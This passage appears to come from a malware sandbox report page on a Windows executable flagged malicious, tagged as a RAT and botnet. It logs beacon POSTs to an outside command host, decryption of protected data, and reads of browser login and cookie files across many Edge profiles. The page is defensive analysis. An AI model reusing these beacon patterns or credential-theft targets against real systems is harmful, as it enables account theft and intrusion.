"aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNek1pTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=6842&key=5600f097d524597d799776822c31ac35 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNek1pTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=6844&key=a1bef38183a2147e0882ccb90c7f14bf HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNek1pTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=6846&key=4f01ff7d6ea97b1c128286e437e2afdc HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNek1pTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=6848&key=5b10e33ba79f7f2429b1be33365f90c3 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNek1pTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=6850&key=2fb5eb0ff2c9c024fd9db5d1c275d827 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNek1pTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=6852&key=45aa0a736ef5829a2969550c15b41cac HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNek1pTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=6856&key=d15451df73a0c749f69565b47b0bfd97 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNek1pTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=6858&key=f03334b95bf696bef1872fe5c3c7d0b9 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNek1pTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=6864&key=7ca0aef6132fcc114ae417bad83c9ada HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNek1pTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A.......58:Tb90,".exe" called "CryptUnprotectData" with parameters {"pDataIn": "8000000000000000c078440300000000" "pDataOut": "00000000000000000000000000000000" "$error": "d"} ".exe" called "CryptUnprotectData" with parameters {"pDataIn": "9000000000000000c078440300000000" "pDataOut": "00000000000000000000000000000000" "$error": "d"} ".exe" called "CryptUnprotectData" with parameters {"pDataIn": "a000000000000000c078440300000000" "pDataOut": "00000000000000000000000000000000" "$error": "d"} ".exe" called "CryptUnprotectData" with parameters {"pDataIn": "b000000000000000c078440300000000" "pDataOut": "00000000000000000000000000000000" "$error": "d"} ".exe" called "CryptUnprotectData" with parameters {"pDataIn": "c000000000000000c078440300000000" "pDataOut": "00000000000000000000000000000000" "$error": "d"} ".exe" called "CryptUnprotectData" with parameters {"pDataIn": "d000000000000000c078440300000000" "pDataOut": "00000000000000000000000000000000" "$error": "d"} ".exe" called "CryptUnprotectData" with parameters {"pDataIn": "e000000000000000c078440300000000" "pDataOut": "00000000000000000000000000000000" "$error": "d"} ".exe" called "CryptUnprotectData" with parameters {"pDataIn": "f000000000000000c078440300000000" "pDataOut": "00000000000000000000000000000000" "$error": "d"} ".exe" called "CryptUnprotectData" with parameters {"pDataIn": "0001000000000000c078440300000000" "pDataOut": "00000000000000000000000000000000" "$error": "d"} ".exe" called "CryptUnprotectData" with parameters {"pDataIn": "1001000000000000c078440300000000" "pDataOut": "200000000000000020384f0300000000" "$dataout": "b41f53fd7c91eeb41677c8b431507aa71d8a8df3f42de5625b7d75a16322b842"} ".exe" called "CryptUnprotectData" with parameters {"pDataIn": "1001000000000000c078440300000000" "pDataOut": "200000000000000020334f0300000000" "$dataout": "b41f53fd7c91eeb41677c8b431507aa71d8a8df3f42de5625b7d75a16322b842"} ".exe" called "CryptUnprotectData" with parameters {"pDataIn": "8000000000000000a0cf4b0300000000" "pDataOut": "00000000000000000000000000000000" "$error": "d"} ".exe" called "CryptUnprotectData" with parameters {"pDataIn": "9000000000000000a0cf4b0300000000" "pDataOut": "00000000000000000000000000000000" "$error": "d"} ".exe" called "CryptUnprotectData" with parameters {"pDataIn": "a000000000000000a0cf4b0300000000" "pDataOut": "00000000000000000000000000000000" "$error": "d"} ".exe" called "CryptUnprotectData" with parameters {"pDataIn": "b000000000000000a0cf4b0300000000" "pDataOut": "00000000000000000000000000000000" "$error": "d"} ".exe" called "CryptUnprotectData" with parameters {"pDataIn": "c000000000000000a0cf4b0300000000" "pDataOut": "00000000000000000000000000000000" "$error": "d"}59:Tfb6,".exe" wrote bytes "706cd8b9f87f0000" to virtual address "0xAF6F5128" (part of module "URLMON.DLL") ".exe" wrote bytes "00b4a0bdf87f0000b06aa1bdf87f0000d0b4a0bdf87f0000c0b5a0bdf87f0000f0a9a8bdf87f0000e07da1bdf87f0000b0a4a0bdf87f0000c0aea8bdf87f0000e081a0bdf87f0000" to virtual address "0xAF6F50A8" (part of module "URLMON.DLL") ".exe" wrote bytes "a05278bcf87f0000" to virtual address "0xB45553D8" (part of module "WINHTTP.DLL") ".exe" wrote bytes "60d655baf87f0000602a4ebaf87f0000" to virtual address "0xB066E268" (part of module "IERTUTIL.DLL") ".exe" wrote bytes "e08878bcf87f0000008878bcf87f0000e08a78bcf87f0000205278bcf87f0000" to virtual address "0xBA1681D8" (part of module "CRYPT32.DLL") ".exe" wrote bytes "608fd7bcf87f00004094dabcf87f0000" to virtual address "0xA93788B8" (part of module "WININET.DLL") ".exe" wrote bytes "60eb78bcf87f0000e0bc78bcf87f000090c478bcf87f0000e0bf78bcf87f0000" to virtual address "0xBAB83DA8" (part of module "WINDOWS.STORAGE.DLL") ".exe" wrote bytes "b0119fbdf87f0000201d9fbdf87f0000a01e9fbdf87f000050109fbdf87f000010109fbdf87f0000402b9fbdf87f0000f0109fbdf87f0000401b9fbdf87f000070199fbdf87f000030159fbdf87f0000" to virtual address "0xB9446050" (part of module "IPHLPAPI.DLL") ".exe" wrote bytes "b02979bcf87f0000a08378bcf87f0000" to virtual address "0xBA168200" (part of module "CRYPT32.DLL") ".exe" wrote bytes "60d655baf87f0000200282baf87f0000" to virtual address "0xA93788E0" (part of module "WININET.DLL") ".exe" wrote bytes "307141b9f87f0000501841b9f87f0000708941b9f87f0000501f41b9f87f0000501941b9f87f0000d07b41b9f87f0000" to virtual address "0xA9378220" (part of module "WININET.DLL") ".exe" wrote bytes "c014f8baf87f0000c06bf7baf87f0000f016f7baf87f0000" to virtual address "0xA9378460" (part of module "WININET.DLL") ".exe" wrote bytes "e0bc78bcf87f0000" to virtual address "0xA93788A8" (part of module "WININET.DLL") ".exe" wrote bytes "e08a78bcf87f0000205278bcf87f0000e08878bcf87f0000008878bcf87f0000" to virtual address "0xB45553B0" (part of module "WINHTTP.DLL") ".exe" wrote bytes "505d26baf87f0000f09f26baf87f0000" to virtual address "0x9AB6B1D0" (part of module "MSISO.DLL") ".exe" wrote bytes "010000000000000080edb19af87f0000" to virtual address "0xB066F000" (part of module "IERTUTIL.DLL") ".exe" wrote bytes "508778bdf87f0000" to virtual address "0xA9378950" (part of module "WININET.DLL") ".exe" wrote bytes "3046dabcf87f000040e9ddbcf87f00005046dabcf87f0000" to virtual address "0xBAB83F10" (part of module "WINDOWS.STORAGE.DLL") ".exe" wrote bytes "108a41b9f87f0000501941b9f87f0000c09641b9f87f0000708941b9f87f0000" to virtual address "0xAABBC010" (part of module "CRYPTNET.DLL") ".exe" wrote bytes "b012b6b5f87f00001010b6b5f87f0000d01ab6b5f87f00002031b6b5f87f0000c01cb6b5f87f0000" to virtual address "0xB94460A8" (part of module "IPHLPAPI.DLL") ".exe" wrote bytes "b0d12dbbf87f000020c62dbbf87f0000903e2ebbf87f0000b0402ebbf87f000060932dbbf87f000020222dbbf87f0000f0962dbbf87f000020ab2dbbf87f000060a22dbbf87f000050372ebbf87f000070a62dbbf87f0000403e2ebbf87f0000" to virtual address "0xB45552B8" (part of module "WINHTTP.DLL") ".exe" wrote bytes "10f945b9f87f0000a00a46b9f87f000040b245b9f87f0000008446b9f87f0000901746b9f87f0000802745b9f87f0000" to virtual address "0xB96E3000" (part of module "MSWSOCK.DLL") ".exe" wrote bytes "60eb78bcf87f0000e0bc78bcf87f0000e0bf78bcf87f0000" to virtual address "0xBA1681B8" (part of module "CRYPT32.DLL") ".exe" wrote bytes "90eb58aff87f0000c02859aff87f000000065eaff87f0000" to virtual address "0xA9378A98" (part of module "WININET.DLL") ".exe" wrote bytes "704278bdf87f0000003e78bdf87f0000" to virtual address "0xBA4345B0" (part of module "KERNELBASE.DLL")5a:T18bd,".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Local State" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 1\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 2\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 3\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 4\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 5\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 6\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 7\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 8\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 9\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 10\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 11\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 12\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 13\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 14\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 15\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 16\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 17\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 18\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 19\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 20\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 21\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 22\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 23\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 24\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 25\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 26\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 27\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 28\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 29\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 30\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 31\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 32\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 33\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 34\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 35\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 36\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 37\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 38\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 39\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 40\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 41\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 42\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 43\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 44\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 45\NETWORK\COOKIES" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 46\NETWORK\COOKIES"5b:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAh3cHd3d3d3d3d3dwAAAAiIiIh///////////cAAACIj///f/iP///////3AAAHj////3+Gb///////9wAAB4////h/aHj/h3d3d/cAAAB4iIiIf/+Gj//////3AAAAB3d4iH//+H//////9wAAAAAAd4h/9m+P//////cAAAAA//iIf2ho/4d3d3f3AAAAD/iIiH//ho//////9wAAD/iId0R///jv//////cAAP+Id2Z3f///iP/////3AA+PhHd2Jn//////////9wAIiHdiIiJ4iIiIiIh4eHcA+Id3IiIid3d3d3d3d3d3D4h0RiIiJkRmZncAAAAAAA+IZEYip2RERmZmYAAAAAAPh0RGZmZmZkREREAAAAAACIdEZmZmZ3dkRiZAAAAAAAiHRmZmbmZ3dkYyIAAAAAAIh0Zmbu7ud3dHMiAAAAAACIdmxm7u7ud3ZzNgAAAAAAiHYmZuj47od0ezYAAAAAAPiHKqiI/46HdndmAAAAAAAIiCqo//iIiGd2YAAAAAAAD4hyqP/47odndkAAAAAAAACIdyOIh3eHd3YAAAAAAAAACId3Z4eHd3dgAAAAAAAAAACIiHd493d3AAAAAAAAAAAAD4iIiIiAAAAAAAAAAAAAAAAIiI8AAAAAAAAAAAAAAAAAAA+PAAAAAAAAAAAAD/gAAA/gAAAPwAAAD4AAAA+AAAAPwAAAD+AAAA/8AAAP8AAAD+AAAA+AAAAPAAAADgAAAA4AAAAMAAAACAAAP/gAAB/4AAAf+AAAH/gAAB/4AAAf+AAAH/gAAB/4AAAf/AAAP/wAAD/+AAB//wAA//+AAf//wA////B////8f//w==1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790608428979,"unified_at":"2026-09-28T15:13:48.979Z","metadata":{"hashes":{"sha256":"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57","sha1":"5b70e04bac452917f15c6399e5908c55733210d8","md5":"7d87f2eeab483a1fa12d9d111e3d6eef","sha512":"a1e082392dc10dc5a2d02f7ebef9bcb8204fd4369d4803000491aab89c763ac5b4cc79c00d6830c0dc1eac99eab9b52916347f7222189316bada228917c36bed","ssdeep":"12288:2quFbYJO3VldEX5fYwerPZpdqx5yfndmLB:2qObuUd7Pzdqrem9","ssdeep_chunks":["12288:2quFbYJ","12288:quFbYJO","12288:uFbYJO3","12288:FbYJO3V","12288:bYJO3Vl","12288:YJO3Vld","12288:JO3VldE","12288:O3VldEX","12288:3VldEX5","12288:VldEX5f","12288:ldEX5fY","12288:dEX5fYw","12288:EX5fYwe","12288:X5fYwer","12288:5fYwerP","12288:fYwerPZ","12288:YwerPZp","12288:werPZpd","12288:erPZpdq","12288:rPZpdqx","12288:PZpdqx5","12288:Zpdqx5y","12288:pdqx5yf","12288:dqx5yfn","12288:qx5yfnd","12288:x5yfndm","12288:5yfndmL","12288:yfndmLB","24576:2quFbYJ","24576:quFbYJO","24576:uFbYJO3","24576:FbYJO3V","24576:bYJO3Vl","24576:YJO3Vld","24576:JO3VldE","24576:O3VldEX","24576:3VldEX5","24576:VldEX5f","24576:ldEX5fY","24576:dEX5fYw","24576:EX5fYwe","24576:X5fYwer","24576:5fYwerP","24576:fYwerPZ","24576:YwerPZp","24576:werPZpd","24576:erPZpdq","24576:rPZpdqx","24576:PZpdqx5","24576:Zpdqx5y","24576:pdqx5yf","24576:dqx5yfn","24576:qx5yfnd","24576:x5yfndm","24576:5yfndmL","24576:yfndmLB","12288:2qObuUd","12288:qObuUd7","12288:ObuUd7P","12288:buUd7Pz","12288:uUd7Pzd","12288:Ud7Pzdq","12288:d7Pzdqr","12288:7Pzdqre","12288:Pzdqrem","12288:zdqrem9"],"imphash":"4e0a85626bc84547f95c57b481d13371"},"file_info":{"file_name":"7d87f2eeab483a1fa12d9d111e3d6eef.exe","file_type":["peexe","64bits","executable"],"file_type_id":"64-bit exe","file_size":651776,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1694103623000,"last_seen":1694106017000,"last_multi_scan":1694106017000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["botnet","expiro","neshta","parite","poisonivy","rat","virut"]},"stats":{"av":{"malicious_count":0,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":0,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":57},"sandbox_signatures":{"informative_count":146,"suspicious_count":20,"malicious_count":4,"total":170},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"undetected","status":"clean","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cylance":{"name":"Cylance","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":